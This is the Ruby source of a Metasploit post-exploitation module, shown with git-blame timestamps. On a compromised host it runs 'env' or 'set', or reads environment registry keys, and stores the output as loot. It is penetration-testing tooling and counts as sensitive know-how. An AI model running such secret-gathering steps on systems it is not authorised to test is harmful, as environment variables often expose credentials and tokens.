Files
metasploit-gs/modules/post/multi/gather/env.rb
T

67 lines
2.0 KiB
Ruby
Raw Normal View History

##
2017-07-24 06:26:21 -07:00
# This module requires Metasploit: https://metasploit.com/download
2013-10-15 13:50:46 -05:00
# Current source: https://github.com/rapid7/metasploit-framework
##
2016-03-08 14:02:44 +01:00
class MetasploitModule < Msf::Post
2013-08-30 16:28:54 -05:00
include Msf::Post::Windows::Registry
2013-08-30 16:28:54 -05:00
def initialize(info={})
super( update_info( info,
'Name' => 'Multi Gather Generic Operating System Environment Settings',
'Description' => %q{ This module prints out the operating system environment variables },
'License' => MSF_LICENSE,
'Author' => [ 'Carlos Perez <carlos_perez[at]darkoperator.com>', 'egypt' ],
'Platform' => %w{ linux win },
2013-08-30 16:28:54 -05:00
'SessionTypes' => [ 'shell', 'meterpreter' ]
))
@ltype = 'generic.environment'
end
2013-08-30 16:28:54 -05:00
def run
case session.type
when "shell"
get_env_shell
when "meterpreter"
get_env_meterpreter
end
store_loot(@ltype, "text/plain", session, @output) if @output
print_line @output if @output
end
2013-08-30 16:28:54 -05:00
def get_env_shell
print_line @output if @output
2016-10-29 14:59:05 +10:00
if session.platform == 'windows'
2013-08-30 16:28:54 -05:00
@ltype = "windows.environment"
cmd = "set"
else
@ltype = "unix.environment"
cmd = "env"
end
2015-06-22 16:20:46 -05:00
@output = cmd_exec(cmd)
2013-08-30 16:28:54 -05:00
end
2013-08-30 16:28:54 -05:00
def get_env_meterpreter
2016-10-29 14:59:05 +10:00
case session.platform
when 'windows'
2013-08-30 16:28:54 -05:00
var_names = []
var_names << registry_enumvals("HKEY_CURRENT_USER\\Volatile Environment")
var_names << registry_enumvals("HKEY_CURRENT_USER\\Environment")
var_names << registry_enumvals("HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Session Manager\\Environment")
output = []
var_names.delete(nil)
session.sys.config.getenvs(*var_names.flatten.uniq.sort).each do |k, v|
output << "#{k}=#{v}"
2013-08-30 16:28:54 -05:00
end
@output = output.join("\n")
@ltype = "windows.environment"
else
# Don't know what it is, hope it's unix
print_status sysinfo["OS"]
chan = session.sys.process.execute("/bin/sh", "-c env", {"Channelized" => true})
@output = chan.read
@ltype = "unix.environment"
end
end
end